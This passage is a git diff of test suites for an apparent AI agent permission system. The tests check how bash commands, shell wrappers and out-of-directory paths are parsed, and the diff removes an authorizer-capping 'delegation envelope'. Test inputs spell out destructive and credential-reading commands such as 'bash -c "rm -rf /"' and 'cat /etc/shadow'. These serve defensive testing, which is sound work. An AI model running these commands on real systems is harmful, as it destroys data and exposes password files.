"command_substitution" }, - { text: "sh", context: "command_substitution" }, - ]); - }); - - it("descends into process substitution", async () => { - const program = await BashProgram.parse( - "diff <(cat /etc/shadow)", - normalizer, - ); - expect(program.commands()).toEqual([ - { text: "diff <(cat /etc/shadow)" }, - { text: "cat /etc/shadow", context: "process_substitution" }, - ]); - }); - - it("emits a bare subshell whole and descends into it", async () => { - const program = await BashProgram.parse("( rm -rf foo )", normalizer); - expect(program.commands()).toEqual([ - { text: "( rm -rf foo )" }, - { text: "rm -rf foo", context: "subshell" }, - ]); - }); - - it("emits a subshell whole and descends into its chain", async () => { - const program = await BashProgram.parse("( cd /t && rm x )", normalizer); - expect(program.commands()).toEqual([ - { text: "( cd /t && rm x )" }, - { text: "cd /t", context: "subshell" }, - { text: "rm x", context: "subshell" }, - ]); - }); - - it("descends recursively through nested contexts", async () => { - const program = await BashProgram.parse("echo $( ( rm x ) )", normalizer); - expect(program.commands()).toEqual([ - { text: "echo $( ( rm x ) )" }, - { text: "( rm x )", context: "command_substitution" }, - { text: "rm x", context: "subshell" }, - ]); - }); - - it("descends into a substitution within a chained command", async () => { - const program = await BashProgram.parse( - "cd /p && echo $(rm x)", - normalizer, - ); - expect(program.commands()).toEqual([ - { text: "cd /p" }, - { text: "echo $(rm x)" }, - { text: "rm x", context: "command_substitution" }, - ]); - }); - - it("keeps the never-weaker invariant: a benign inner command stays", async () => { - const program = await BashProgram.parse("echo $(echo safe)", normalizer); - expect(program.commands()).toEqual([ - { text: "echo $(echo safe)" }, - { text: "echo safe", context: "command_substitution" }, - ]); - }); - - it("returns an empty list for an empty or whitespace command", async () => { - expect((await BashProgram.parse("", normalizer)).commands()).toEqual([]); - expect((await BashProgram.parse(" ", normalizer)).commands()).toEqual( - [], - ); - }); - - it("strips a leading env-var assignment prefix", async () => { - const program = await BashProgram.parse( - "AWS_PROFILE=prod aws ec2 terminate-instances --instance-ids i-1", - normalizer, - ); - expect(program.commands()).toEqual([ - { text: "aws ec2 terminate-instances --instance-ids i-1" }, - ]); - }); - - it("strips multiple leading env-var assignments", async () => { - const program = await BashProgram.parse("A=1 B=2 aws s3 ls", normalizer); - expect(program.commands()).toEqual([{ text: "aws s3 ls" }]); - }); - - it("strips the env-var prefix of each command in a chain", async () => { - const program = await BashProgram.parse( - "X=1 aws sts get-caller-identity && ls", - normalizer, - ); - expect(program.commands()).toEqual([ - { text: "aws sts get-caller-identity" }, - { text: "ls" }, - ]); - }); - - it("keeps a pure assignment with no command unchanged", async () => { - const program = await BashProgram.parse("FOO=bar", normalizer); - expect(program.commands()).toEqual([{ text: "FOO=bar" }]); - }); - - describe("opaque-payload wrappers", () => { - it.each([ - ['bash -c "rm -rf /"', 'bash -c "rm -rf /"'], - ['sh -c "rm -rf /"', 'sh -c "rm -rf /"'], - ['dash -c "rm -rf /"', 'dash -c "rm -rf /"'], - ['zsh -c "rm -rf /"', 'zsh -c "rm -rf /"'], - ['ksh -c "rm -rf /"', 'ksh -c "rm -rf /"'], - ['eval "rm -rf /"', 'eval "rm -rf /"'], - ['/bin/bash -c "rm -rf /"', '/bin/bash -c "rm -rf /"'], - ['bash -ec "rm -rf /"', 'bash -ec "rm -rf /"'], - ])("flags %s as opaque", async (command, text) => { - const program = await BashProgram.parse(command, normalizer); - expect(program.commands()).toEqual([ - { text, wrapperKind: "opaque-payload", executedUnit: "rm -rf /" }, - ]); - }); - - it("flags an env-prefixed wrapper as opaque after stripping the prefix", async () => { - const program = await BashProgram.parse( - 'AWS_PROFILE=prod bash -c "rm -rf /"', - normalizer, - ); - expect(program.commands()).toEqual([ - { - text: 'bash -c "rm -rf /"', - wrapperKind: "opaque-payload", - executedUnit: "rm -rf /", - }, - ]); - }); - - it.each([ - "bash script.sh", - "bash", - "ls -la", - "grep -c foo file", - ])("does not flag %s as opaque", async (command) => { - const program = await BashProgram.parse(command, normalizer); - expect(program.commands()).toEqual([{ text: command }]); - }); - }); - - describe("indirection wrappers", () => { - it.each([ - ["sudo aws s3 ls", "sudo aws s3 ls", "aws s3 ls"], - ["env FOO=bar aws s3 ls", "env FOO=bar aws s3 ls", "aws s3 ls"], - ["xargs rm -rf", "xargs rm -rf", "rm -rf"], - ["time aws s3 ls", "time aws s3 ls", "aws s3 ls"], - ["nohup aws s3 ls", "nohup aws s3 ls", "aws s3 ls"], - ["timeout 10 aws s3 ls", "timeout 10 aws s3 ls", "aws s3 ls"], - ["nice -n 10 aws s3 ls", "nice -n 10 aws s3 ls", "aws s3 ls"], - ["/usr/bin/sudo aws s3 ls", "/usr/bin/sudo aws s3 ls", "aws s3 ls"], - // Exec-capable rewrites and prefix wrappers (#575). - ["parallel rm ::: x", "parallel rm ::: x", "rm ::: x"], - ["rust-parallel echo", "rust-parallel echo", "echo"], - ["rush echo", "rush echo", "echo"], - ["doas aws s3 ls", "doas aws s3 ls", "aws s3 ls"], - ["setsid aws s3 ls", "setsid aws s3 ls", "aws s3 ls"], - ["stdbuf -oL aws s3 ls", "stdbuf -oL aws s3 ls", "aws s3 ls"], - ["watch ls", "watch ls", "ls"], - ["flock /tmp/lock aws s3 ls", "flock /tmp/lock aws s3 ls", "aws s3 ls"], - ])("flags %s as an indirection wrapper", async (command, text, executedUnit) => { - const program = await BashProgram.parse(command, normalizer); - expect(program.commands()).toEqual([ - { text, wrapperKind: "indirection", executedUnit }, - ]); - }); - - it("flags an env-prefixed indirection wrapper after stripping the prefix", async () => { - const program = await BashProgram.parse( - "AWS_PROFILE=prod sudo aws s3 ls", - normalizer, - ); - expect(program.commands()).toEqual([ - { - text: "sudo aws s3 ls", - wrapperKind: "indirection", - executedUnit: "aws s3 ls", - }, - ]); - }); - - it.each([ - "aws s3 ls", - "ls -la", - "grep -n foo file", - ])("does not flag %s as an indirection wrapper", async (command) => { - const program = await BashProgram.parse(command, normalizer); - expect(program.commands()).toEqual([{ text: command }]); - }); - }); - - describe("exec-conditional wrappers (find/fd)", () => { - it.each([ - ["find . -exec rm {} \\;", "rm {}"], - ["find . -execdir rm {} \\;", "rm {}"], - ["find . -ok rm {} \\;", "rm {}"], - ["find . -okdir rm {} \\;", "rm {}"], - ["fd -x rm", "rm"], - ["fd --exec rm", "rm"], - ["fd -X rm", "rm"], - ["fd --exec-batch rm", "rm"], - ])("flags %s as an indirection wrapper", async (command, executedUnit) => { - const program = await BashProgram.parse(command, normalizer); - expect(program.commands()).toEqual([ - { text: command, wrapperKind: "indirection", executedUnit }, - ]); - }); - - it.each([ - "find . -name foo", - "fd pattern", - "fd -H -t f pattern", - ])("does not flag a bare %s search", async (command) => { - const program = await BashProgram.parse(command, normalizer); - expect(program.commands()).toEqual([{ text: command }]); - }); - }); - - describe("executed unit", () => { - it.each([ - ['bash -c "rm -rf /"', "rm -rf /"], - ["sudo aws s3 rm", "aws s3 rm"], - ["sudo -u root aws s3 rm", "aws s3 rm"], - ["timeout 10 grep foo", "grep foo"], - ["find . -name x -exec grep foo {} \\;", "grep foo {}"], - ["sudo timeout 5 xargs grep foo", "grep foo"], - ])("names what %s actually runs", async (command, executedUnit) => { - const program = await BashProgram.parse(command, normalizer); - expect(program.commands()[0].executedUnit).toBe(executedUnit); - }); - - it("is absent for an ordinary command", async () => { - const program = await BashProgram.parse("grep foo", normalizer); - expect(program.commands()).toEqual([{ text: "grep foo" }]); - }); - - it("is absent when the wrapper names no inner command", async () => { - const program = await BashProgram.parse("xargs", normalizer); - expect(program.commands()).toEqual([ - { text: "xargs", wrapperKind: "indirection" }, - ]); - }); - }); - }); - - it("derives both slices from a single parse", async () => { - const cwd = "/projects/my-app"; - const normalizer = new PathNormalizer( - pathFlavorForPlatform(process.platform), - cwd, - ); - const program = await BashProgram.parse("cat .env /etc/hosts", normalizer); - expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([ - ".env", - "/etc/hosts", - ]); - const external = program.externalPaths().map((p) => p.value()); - expect(external).toContain("/etc/hosts"); - expect(external).not.toContain(".env"); - }); - - describe("workdir seed (#574)", () => { - const cwd = "/projects/my-app"; - const normalizer = new PathNormalizer( - pathFlavorForPlatform(process.platform), - cwd, - ); - - beforeEach(() => { - realpathSync.mockReset(); - realpathSync.mockImplementation((p: string) => p); - }); - - it("flags an absolute workdir outside cwd as an external path", async () => { - const program = await BashProgram.parse("echo hi", normalizer, { - workdir: "/etc", - }); - expect(program.externalPaths().map((p) => p.value())).toContain("/etc"); - }); - - it("resolves a relative token against the workdir base", async () => { - const program = await BashProgram.parse("cat ../secret.txt", normalizer, { - workdir: "/etc", - }); - const external = program.externalPaths().map((p) => p.value()); - // ../secret.txt resolves against /etc, not cwd. - expect(external).toContain("/secret.txt"); - expect(external).toContain("/etc"); - }); - - it("keeps an absolute token base-independent under a workdir", async () => { - const program = await BashProgram.parse( - "cat /var/log/syslog", - normalizer, - { workdir: "/etc" }, - ); - const external = program.externalPaths().map((p) => p.value()); - expect(external).toContain("/var/log/syslog"); - expect(external).not.toContain("/etc/var/log/syslog"); - }); - - it("does not flag a workdir inside cwd, and resolves relative tokens under it", async () => { - const program = await BashProgram.parse("cat ../secret.txt", normalizer, { - workdir: "sub", - }); - // ../secret.txt from cwd/sub resolves back to cwd/secret.txt (internal), - // and the workdir sub is inside cwd — nothing is external. - expect(program.externalPaths()).toEqual([]); - }); - - it("resolves a relative path-rule candidate against the workdir base", async () => { - const program = await BashProgram.parse("cat sub/file.txt", normalizer, { - workdir: "/work", - }); - const candidate = program - .pathRuleCandidates() - .find(({ token }) => token === "sub/file.txt"); - expect(candidate?.path.matchValues()).toContain("/work/sub/file.txt"); - }); - - it("reproduces cwd-based resolution when no workdir is given", async () => { - const program = await BashProgram.parse("cat ../secret.txt", normalizer); - // ../secret.txt from cwd resolves against the parent of cwd. - expect(program.externalPaths().map((p) => p.value())).toContain( - "/projects/secret.txt", - ); - }); - - it("applies Git Bash drive-mount semantics to a win32 workdir", async () => { - const win = new PathNormalizer(win32PathFlavor, "C:\\projects\\app"); - const program = await BashProgram.parse("echo hi", win, { - workdir: "/c/work", - }); - // /c/work is the MSYS mount for C:\work — outside the cwd, so flagged. - const external = program.externalPaths().map((p) => p.value()); - expect(external.some((v) => v.toLowerCase().includes("work"))).toBe(true); - }); - }); }); diff --git a/pi-permission-system/test/access-intent/input-normalizer.test.ts b/pi-permission-system/test/access-intent/input-normalizer.test.ts index 3d408e7..1b22850 100644 --- a/pi-permission-system/test/access-intent/input-normalizer.test.ts +++ b/pi-permission-system/test/access-intent/input-normalizer.test.ts @@ -47,16 +47,6 @@ describe("normalizeInput — non-MCP surfaces", () => { expect(result.resultExtras).toEqual({}); }); - it("external_directory surface ignores input.path and returns ['*']", () => { - const result = normalizeInput( - "external_directory", - { path: "/other/project" }, - [], - ); - expect(result.surface).toBe("external_directory"); - expect(result.values).toEqual(["*"]); - expect(result.resultExtras).toEqual({}); - }); it("read surface ignores input.path and returns ['*']", () => { const result = normalizeInput("read", { path: ".env" }, []); @@ -68,7 +58,6 @@ describe("normalizeInput — non-MCP surfaces", () => { it("missing path also returns ['*'] (unchanged fallback)", () => { for (const surface of [ "path", - "external_directory", "read", "write", "edit", @@ -249,19 +238,6 @@ describe("buildAccessIntentForSurface", () => { } }); - it("emits an access-path intent for the external_directory surface", () => { - const intent = buildAccessIntentForSurface( - "external_directory", - "/outside/dir", - normalizer, - undefined, - ); - expect(intent.kind).toBe("access-path"); - if (intent.kind === "access-path") { - expect(intent.surface).toBe("external_directory"); - expect(intent.path.value()).toBe("/outside/dir"); - } - }); it("emits an access-path intent for a path-bearing tool surface (read)", () => { const intent = buildAccessIntentForSurface( @@ -315,15 +291,6 @@ describe("buildAccessIntentForSurface", () => { } }); - it("falls back to a tool intent for a whitespace-only path value", () => { - const intent = buildAccessIntentForSurface( - "external_directory", - " ", - normalizer, - undefined, - ); - expect(intent.kind).toBe("tool"); - }); }); describe("buildResolvedIntentFromMatchValues", () => { @@ -348,19 +315,6 @@ describe("buildResolvedIntentFromMatchValues", () => { }); }); - it("emits a path-values intent for the external_directory surface", () => { - const intent = buildResolvedIntentFromMatchValues( - "external_directory", - ["/tmp/x", "/real/tmp/x"], - "Explore", - ); - expect(intent).toEqual({ - kind: "path-values", - surface: "external_directory", - values: ["/tmp/x", "/real/tmp/x"], - agentName: "Explore", - }); - }); it("emits a tool intent from the single portable value for a non-path surface (bash)", () => { const intent = buildResolvedIntentFromMatchValues( diff --git a/pi-permission-system/test/access-intent/path-surfaces.test.ts b/pi-permission-system/test/access-intent/path-surfaces.test.ts index 90c55f0..787de64 100644 --- a/pi-permission-system/test/access-intent/path-surfaces.test.ts +++ b/pi-permission-system/test/access-intent/path-surfaces.test.ts @@ -3,7 +3,6 @@ import { describe, expect, test } from "vitest"; import { PATH_BEARING_TOOLS, PATH_SURFACES, - READ_ONLY_PATH_BEARING_TOOLS, } from "#src/access-intent/path-surfaces"; describe("PATH_BEARING_TOOLS", () => { @@ -19,21 +18,9 @@ describe("PATH_BEARING_TOOLS", () => { }); }); -describe("READ_ONLY_PATH_BEARING_TOOLS", () => { - test("contains read, find, grep, ls", () => { - for (const tool of ["read", "find", "grep", "ls"]) { - expect(READ_ONLY_PATH_BEARING_TOOLS.has(tool)).toBe(true); - } - }); - - test("does not contain write or edit", () => { - expect(READ_ONLY_PATH_BEARING_TOOLS.has("write")).toBe(false); - expect(READ_ONLY_PATH_BEARING_TOOLS.has("edit")).toBe(false); - }); -}); describe("PATH_SURFACES", () => { - test("contains the path-bearing tools plus the cross-cutting gates", () => { + test("contains the path-bearing tools plus the path gate", () => { for (const surface of [ "read", "write", @@ -41,7 +28,6 @@ describe("PATH_SURFACES", () => { "find", "grep", "ls", - "external_directory", "path", ]) { expect(PATH_SURFACES.has(surface)).toBe(true); diff --git a/pi-permission-system/test/authority/authorizer-selection.test.ts b/pi-permission-system/test/authority/authorizer-selection.test.ts index 8ef8495..ba2896e 100644 --- a/pi-permission-system/test/authority/authorizer-selection.test.ts +++ b/pi-permission-system/test/authority/authorizer-selection.test.ts @@ -48,7 +48,7 @@ function makeCtx(overrides: Partial = {}): ExtensionContext { } as unknown as ExtensionContext; } -/** Details whose gate-computed surface drives the delegation envelope. */ +/** Details carrying the gate-computed surface supplied to authorizers. */ function makeDetailsOn(surface: string): PromptPermissionDetails { return makeDetails({ accessIntent: { surface, matchValues: ["/v"], boundaryValue: null }, @@ -340,29 +340,8 @@ describe("AuthorizerSelection", () => { ); }); - it("caps a link's allow on an excluded surface, falling through to the terminal", async () => { - const registry = new AuthorizerRegistry(); - register(registry, "judge", { kind: "allow" }); - const selection = new AuthorizerSelection( - makeDeps({ - prompter: makeInvokingPrompter(), - authorizerRegistry: registry, - getAuthorizerChain: () => ["judge"], - }), - ); - // No UI, not a subagent → the terminal is DenyingAuthorizer. - selection.activate(makeCtx({ hasUI: false })); - const decision = await selection.escalate( - makeDetailsOn("external_directory"), - ); - - // The envelope downgraded the link's allow to defer, so the terminal - // (denying) owns the decision — the allow did not leak through. - expect(decision.approved).toBe(false); - }); - - it("lets a link's allow through on a non-excluded surface", async () => { + it("lets a configured authorizer approve the path surface", async () => { const registry = new AuthorizerRegistry(); register(registry, "judge", { kind: "allow" }); const selection = new AuthorizerSelection( @@ -374,10 +353,10 @@ describe("AuthorizerSelection", () => { ); selection.activate(makeCtx({ hasUI: false })); - const decision = await selection.escalate(makeDetailsOn("bash")); + const decision = await selection.escalate(makeDetailsOn("path")); - // bash is not excluded, so the link's allow stands (a non-persistent - // approved grant) — the denying terminal is never reached. + // A configured authorizer's allow is final for this ask and does not + // create a persistent session grant. The terminal is never reached. expect(decision).toEqual({ approved: true, state: "approved", diff --git a/pi-permission-system/test/authority/delegation-envelope.test.ts b/pi-permission-system/test/authority/delegation-envelope.test.ts deleted file mode 100644 index 5065c66..0000000 --- a/pi-permission-system/test/authority/delegation-envelope.test.ts +++ /dev/null @@ -1,147 +0,0 @@ -import { describe, expect, it, vi } from "vitest"; -import type { Authorizer, AuthorizerVerdict } from "#src/authority/authorizer"; -import { encloseInDelegationEnvelope } from "#src/authority/delegation-envelope"; -import type { PromptPermissionDetails } from "#src/authority/permission-prompter"; -import type { PermissionQuery } from "#src/service"; -import { makeAuthorizerLog } from "#test/helpers/authorizer-log-fixtures"; -import { makePromptDetails } from "#test/helpers/prompt-details-fixtures"; - -function makeQuery(): PermissionQuery { - return { checkPermission: vi.fn(), getToolPermission: vi.fn() }; -} - -/** Build details whose gate-computed surface is `accessIntentSurface`. */ -function makeDetails( - accessIntentSurface: string | undefined, - displaySurface?: string | null, - toolName?: string, - ): PromptPermissionDetails { - return makePromptDetails({ - surface: displaySurface, - toolName, - accessIntent: - accessIntentSurface === undefined - ? undefined - : { - surface: accessIntentSurface, - matchValues: ["/some/value"], - boundaryValue: null, - }, - }); -} - -/** A link whose fixed verdict the envelope may cap. */ -function makeLink(verdict: AuthorizerVerdict): Authorizer["authorize"] { - return vi.fn().mockResolvedValue(verdict); -} - -describe("encloseInDelegationEnvelope", () => { - const query = makeQuery(); - const log = makeAuthorizerLog(); - - describe("caps an allow verdict on an excluded surface to defer", () => { - it("downgrades an allow on external_directory", async () => { - const enclosed = encloseInDelegationEnvelope(makeLink({ kind: "allow" })); - const verdict = await enclosed( - makeDetails("external_directory"), - query, - log, - ); - expect(verdict).toEqual({ kind: "defer" }); - }); - - it.each(["write", "edit", "bash", "custom-tool"] as const)( - "downgrades an allow on external_directory for %s", - async (toolName) => { - const enclosed = encloseInDelegationEnvelope( - makeLink({ kind: "allow" }), - ); - const verdict = await enclosed( - makeDetails("external_directory", undefined, toolName), - query, - log, - ); - expect(verdict).toEqual({ kind: "defer" }); - }, - ); - - it("downgrades an allow on the path surface", async () => { - const enclosed = encloseInDelegationEnvelope(makeLink({ kind: "allow" })); - const verdict = await enclosed(makeDetails("path"), query, log); - expect(verdict).toEqual({ kind: "defer" }); - }); - - it("downgrades an allow when the surface is undetermined (fail-safe)", async () => { - const enclosed = encloseInDelegationEnvelope(makeLink({ kind: "allow" })); - const verdict = await enclosed(makeDetails(undefined, null), query, log); - expect(verdict).toEqual({ kind: "defer" }); - }); - }); - - describe("passes verdicts through unchanged", () => { - it("keeps an allow on a non-excluded surface (bash)", async () => { - const enclosed = encloseInDelegationEnvelope(makeLink({ kind: "allow" })); - const verdict = await enclosed(makeDetails("bash"), query, log); - expect(verdict).toEqual({ kind: "allow" }); - }); - - it("keeps an allow on a per-tool surface (read)", async () => { - const enclosed = encloseInDelegationEnvelope(makeLink({ kind: "allow" })); - const verdict = await enclosed(makeDetails("read"), query, log); - expect(verdict).toEqual({ kind: "allow" }); - }); - - it.each(["read", "find", "grep", "ls"] as const)( - "keeps an allow on external_directory for the built-in read-only tool %s", - async (toolName) => { - const enclosed = encloseInDelegationEnvelope( - makeLink({ kind: "allow" }), - ); - const verdict = await enclosed( - makeDetails("external_directory", undefined, toolName), - query, - log, - ); - expect(verdict).toEqual({ kind: "allow" }); - }, - ); - - it("never caps a deny, even on an excluded surface", async () => { - const enclosed = encloseInDelegationEnvelope( - makeLink({ kind: "deny", reason: "wrong path" }), - ); - const verdict = await enclosed( - makeDetails("external_directory"), - query, - log, - ); - expect(verdict).toEqual({ kind: "deny", reason: "wrong path" }); - }); - - it("never caps a defer", async () => { - const enclosed = encloseInDelegationEnvelope(makeLink({ kind: "defer" })); - const verdict = await enclosed(makeDetails("path"), query, log); - expect(verdict).toEqual({ kind: "defer" }); - }); - }); - - it("prefers the gate-computed accessIntent surface over the display surface", async () => { - // accessIntent.surface (external_directory) is authoritative even when the - // display-surface override says otherwise. - const enclosed = encloseInDelegationEnvelope(makeLink({ kind: "allow" })); - const verdict = await enclosed( - makeDetails("external_directory", "bash"), - query, - log, - ); - expect(verdict).toEqual({ kind: "defer" }); - }); - - it("forwards details, the injected query, and the review-log seam to the wrapped link", async () => { - const link = makeLink({ kind: "defer" }); - const enclosed = encloseInDelegationEnvelope(link); - const details = makeDetails("bash"); - await enclosed(details, query, log); - expect(link).toHaveBeenCalledWith(details, query, log); - }); -}); diff --git a/pi-permission-system/test/authority/forwarded-request-server.test.ts b/pi-permission-system/test/authority/forwarded-request-server.test.ts index d18454c..806c7a9 100644 --- a/pi-permission-system/test/authority/forwarded-request-server.test.ts +++ b/pi-permission-system/test/authority/forwarded-request-server.test.ts @@ -2,10 +2,8 @@ import { readFileSync } from "node:fs"; import { join } from "node:path"; import type { ExtensionContext } from "@earendil-works/pi-coding-agent"; import { afterEach, describe, expect, test, vi } from "vitest"; -import type { Authorizer } from "#src/authority/authorizer"; import { AuthorizerRegistry } from "#src/authority/authorizer-registry"; import { AuthorizerSelection } from "#src/authority/authorizer-selection"; -import { encloseInDelegationEnvelope } from "#src/authority/delegation-envelope"; import { ForwardedRequestServer } from "#src/authority/forwarded-request-server"; import type { PermissionPromptDecision } from "#src/authority/permission-dialog"; import type { @@ -16,7 +14,6 @@ import { PermissionPrompter, type PromptPermissionDetails, } from "#src/authority/permission-prompter"; -import type { PermissionQuery } from "#src/service"; import { makeAuthorizerSelectionDeps, registerLink, @@ -57,9 +54,8 @@ function readResponse( * An approving `AskEscalator` that records the details it was handed. * * The reconstructed `PromptPermissionDetails` is itself the subject of the - * access-facts and bounded-delegation cases below: they assert its exact shape, - * and hand it to the real delegation envelope — a collaborator the server never - * touches, but one that reads the details the server builds. + * access-facts cases below: they assert the exact evidence passed to the + * serving node's configured authorizer chain. */ function makeCapturingEscalator() { const escalated: PromptPermissionDetails[] = []; @@ -550,9 +546,8 @@ describe("processInbox — child-fixed access facts on the escalated ask", () => value: "git push", }); - // Absence, not an explicit `undefined`: the delegation envelope's - // `accessIntent?.surface ?? surface` fallback reads the display surface only - // when the key is genuinely absent. + // Version-skew requests can omit access intent entirely; preserve that + // absence instead of manufacturing evidence. expect(details).not.toHaveProperty("accessIntent"); }); }); @@ -640,49 +635,6 @@ describe("processInbox — the child's payload on the escalated ask", () => { }); }); -describe("processInbox — bounded delegation over forwarded asks", () => { - const query: PermissionQuery = { - checkPermission: vi.fn(), - getToolPermission: vi.fn(), - }; - const log = makeAuthorizerLog(); - const allowingLink: Authorizer["authorize"] = () => - Promise.resolve({ kind: "allow" }); - - test("caps a link's allow on a forwarded path ask to defer", async () => { - const details = await escalateForwardedAsk({ - id: "req-envelope-path", - source: "tool_call", - surface: "write", - value: "/worktree/issue-42/.ssh/config", - accessIntent: makeForwardedAccessIntent({ - surface: "path", - matchValues: ["/worktree/issue-42/.ssh/config"], - boundaryValue: "/worktree/issue-42/.ssh/config", - }), - }); - - const enclosed = encloseInDelegationEnvelope(allowingLink); - - // The gate surface, not the displayed tool name, decides exclusion — so a - // forwarded path ask is capped exactly like the same ask made locally. - expect(await enclosed(details, query, log)).toEqual({ kind: "defer" }); - }); - - test("passes a link's allow on a forwarded bash ask through", async () => { - const details = await escalateForwardedAsk({ - id: "req-envelope-bash", - source: "tool_call", - surface: "bash", - value: "npm test", - accessIntent: makeForwardedAccessIntent({ matchValues: ["npm test"] }), - }); - - const enclosed = encloseInDelegationEnvelope(allowingLink); - - expect(await enclosed(details, query, log)).toEqual({ kind: "allow" }); - }); -}); describe("processInbox — the serving node's chain adjudicates a forwarded ask", () => { /** A serving node with UI: its terminal is the human prompt. */ diff --git a/pi-permission-system/test/bash-external-directory.test.ts b/pi-permission-system/test/bash-external-directory.test.ts deleted file mode 100644 index f5bd56f..0000000 --- a/pi-permission-system/test/bash-external-directory.test.ts +++ /dev/null @@ -1,1130 +0,0 @@ -import { afterEach, describe, expect, test, vi } from "vitest"; - -// Mock node:os so tilde-expansion is deterministic across platforms. -vi.mock("node:os", () => { - const homedir = vi.fn(() => "/mock/home"); - return { - homedir, - default: { homedir }, - }; -}); - -// Mock node:fs with an identity realpathSync so canonicalizePath -// (used by BashProgram.externalPaths) leaves test paths unchanged and -// existing expected-value literals remain accurate across platforms. -vi.mock("node:fs", () => ({ - realpathSync: (p: string) => p, - default: { realpathSync: (p: string) => p }, -})); - -import { extractExternalPathsFromBashCommand as extractWithNormalizer } from "#src/handlers/gates/bash-path-extractor"; -import { pathFlavorForPlatform, win32PathFlavor } from "#src/path/path-flavor"; -import { PathNormalizer } from "#src/path-normalizer"; -import { renderPolicyDenial } from "#src/presentation/agent-renderer"; -import type { ExternalPathDisclosure } from "#src/presentation/path-ask-payload"; -import { buildBashExternalDirectoryAskPayload } from "#src/presentation/path-ask-payload"; - -afterEach(() => { - vi.restoreAllMocks(); -}); - -// The production facade now takes a PathNormalizer (platform + cwd baked in); -// this wrapper preserves the (command, cwd) call shape the suite uses -// throughout so the projection-correctness assertions stay unchanged. -function extractExternalPathsFromBashCommand( - command: string, - cwd: string, -): Promise { - return extractWithNormalizer( - command, - new PathNormalizer(pathFlavorForPlatform(process.platform), cwd), - ); -} - -describe("extractExternalPathsFromBashCommand", () => { - const cwd = "/projects/my-app"; - - describe("absolute paths", () => { - test("detects absolute path outside CWD", async () => { - const result = await extractExternalPathsFromBashCommand( - "cat /etc/hosts", - cwd, - ); - expect(result).toContain("/etc/hosts"); - }); - - test("detects multiple absolute paths outside CWD", async () => { - const result = await extractExternalPathsFromBashCommand( - "diff /etc/hosts /var/log/syslog", - cwd, - ); - expect(result).toContain("/etc/hosts"); - expect(result).toContain("/var/log/syslog"); - }); - - test("does not flag absolute path within CWD", async () => { - const result = await extractExternalPathsFromBashCommand( - "cat /projects/my-app/src/index.ts", - cwd, - ); - expect(result).toHaveLength(0); - }); - }); - - describe("home-relative paths", () => { - test("detects ~/path outside CWD", async () => { - const result = await extractExternalPathsFromBashCommand( - "cat ~/documents/secret.txt", - cwd, - ); - expect(result).toContain("/mock/home/documents/secret.txt"); - }); - - test("does not flag ~/path that resolves within CWD", async () => { - // CWD is under /mock/home for this test - const result = await extractExternalPathsFromBashCommand( - "cat ~/myproject/file.ts", - "/mock/home/myproject", - ); - expect(result).toHaveLength(0); - }); - }); - - describe("dot-dot relative paths", () => { - test("detects ../ path that resolves outside CWD", async () => { - const result = await extractExternalPathsFromBashCommand( - "cat ../../other-project/secrets.env", - cwd, - ); - expect(result).toContain("/other-project/secrets.env"); - }); - - test("does not flag ../ path that stays within CWD", async () => { - const result = await extractExternalPathsFromBashCommand( - "cat src/../lib/utils.ts", - cwd, - ); - expect(result).toHaveLength(0); - }); - }); - - describe("commands within CWD only", () => { - test("returns empty for relative paths within CWD", async () => { - const result = await extractExternalPathsFromBashCommand( - "cat src/index.ts", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("returns empty for bare command with no path arguments", async () => { - const result = await extractExternalPathsFromBashCommand( - "git status", - cwd, - ); - expect(result).toHaveLength(0); - }); - }); - - describe("flags are skipped", () => { - test("does not treat flags as paths", async () => { - const result = await extractExternalPathsFromBashCommand( - "ls -la --color=auto", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("detects path after flags", async () => { - const result = await extractExternalPathsFromBashCommand( - "ls -la /etc/passwd", - cwd, - ); - expect(result).toContain("/etc/passwd"); - }); - }); - - describe("env assignments are skipped", () => { - test("does not treat FOO=/bar as a path", async () => { - const result = await extractExternalPathsFromBashCommand( - "FOO=/usr/local/bin command", - cwd, - ); - expect(result).toHaveLength(0); - }); - }); - - describe("shell metacharacters split correctly", () => { - test("detects path after pipe", async () => { - const result = await extractExternalPathsFromBashCommand( - "echo hello | tee /tmp/output.txt", - cwd, - ); - expect(result).toContain("/tmp/output.txt"); - }); - - test("detects path after semicolon", async () => { - const result = await extractExternalPathsFromBashCommand( - "echo done; cat /etc/hosts", - cwd, - ); - expect(result).toContain("/etc/hosts"); - }); - - test("detects path after &&", async () => { - const result = await extractExternalPathsFromBashCommand( - "true && cat /etc/hosts", - cwd, - ); - expect(result).toContain("/etc/hosts"); - }); - - test("detects path in redirect target", async () => { - const result = await extractExternalPathsFromBashCommand( - "echo hello > /tmp/out.txt", - cwd, - ); - expect(result).toContain("/tmp/out.txt"); - }); - }); - - describe("URLs are skipped", () => { - test("does not treat http:// URL as a path", async () => { - const result = await extractExternalPathsFromBashCommand( - "curl http://example.com/path", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("does not treat https:// URL as a path", async () => { - const result = await extractExternalPathsFromBashCommand( - "curl https://example.com/etc/hosts", - cwd, - ); - expect(result).toHaveLength(0); - }); - }); - - describe("@scope/package patterns are skipped", () => { - test("does not treat @scope/package as a path", async () => { - const result = await extractExternalPathsFromBashCommand( - "npm install @types/node", - cwd, - ); - expect(result).toHaveLength(0); - }); - }); - - describe("quoted strings are ignored", () => { - test("does not flag path inside double-quoted string", async () => { - const result = await extractExternalPathsFromBashCommand( - 'git commit -m "fix: update /etc/hosts handler"', - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("does not flag path inside single-quoted string", async () => { - const result = await extractExternalPathsFromBashCommand( - "echo 'see /usr/local/docs for info'", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("still flags unquoted path alongside quoted content", async () => { - const result = await extractExternalPathsFromBashCommand( - 'cat /etc/hosts && echo "done"', - cwd, - ); - expect(result).toContain("/etc/hosts"); - }); - - test("does not flag path when adjacent quoted segments form one word", async () => { - // tree-sitter parses adjacent quoted/unquoted segments as a concatenation node - // whose resolved text is 'path is /etc/hosts' (one token, not a path candidate). - const result = await extractExternalPathsFromBashCommand( - 'echo "path is "/etc/hosts""', - cwd, - ); - expect(result).toHaveLength(0); - }); - }); - - describe("safe system paths are filtered", () => { - test("does not flag /dev/null in stderr redirect", async () => { - const result = await extractExternalPathsFromBashCommand( - "command 2>/dev/null", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("does not flag /dev/null as a redirect target", async () => { - const result = await extractExternalPathsFromBashCommand( - "echo hello > /dev/null", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("does not flag /dev/stdin", async () => { - const result = await 